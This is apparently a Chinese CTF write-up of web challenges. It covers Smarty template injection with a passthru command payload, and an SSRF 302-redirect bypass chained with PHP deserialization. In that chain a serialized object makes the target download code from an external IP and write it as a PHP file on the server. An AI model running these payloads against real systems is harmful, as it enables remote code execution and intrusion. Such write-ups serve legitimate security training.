考点
smarty模板注入
思路
根据提示输入GET参数得到源码.发现为smarty模板注入
payload: ?name={if passthru ('nl fl*')}{/if}
★Website
考点
ssrf中使用302跳转进行bypass
思路
一开始尝试dict、file、gopher等协议,发现都被禁用了
但是可以访问其他主机,就想到用302跳转去bypass
在vps上开个web服务,内容如下
再用题目访问vps,可以看到是成功访问的
接着去读取apache的配置文件
分别读取源码
80: web1/index.php
<?phperror_reporting (0);function check_302($url){$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirectcurl_exec($ch);$info = curl_getinfo($ch);curl_close($ch);return $info['url'];}if (isset($_GET['url'])) {$url = $_GET['url'];if (strpos($url, 'http://127.0.0.1/') === 0 || strpos($url, 'http://localhost/') === 0) {exit("
8080: web2/index.php
<?phpclass copy_file{public $path = 'upload/';public $file;public $url;function __destruct(){if(strpos($this - url,'http://127.0.0.1') === 0){file_put_contents($this -> path.$this -> file, file_get_contents($this -> url));echo $this -> path.$this -> file." update successed!)";}else{echo "Hello CTFer";}}}if(isset($_GET['data'])){$data = $_GET['data'];unserialize($data);}else{echo "Welcome to CloverSec WebSite";}?>
然后就是反序列化了,在vps上写好代码
按照如下方式传参,上传代码
http://example.com@127.0.0.1:8080/?data=O:9:"copy_file":3:{s:4:"path";s:7:"upload/";s:4:"file";s:5:"1.php";s:3:"url";s:41:"http://127.0.0.1@81.68.218.54:20003/1.txt";}
再去访问即可看到结果
http://127.0.0.1:8080/upload/1.php
★file manager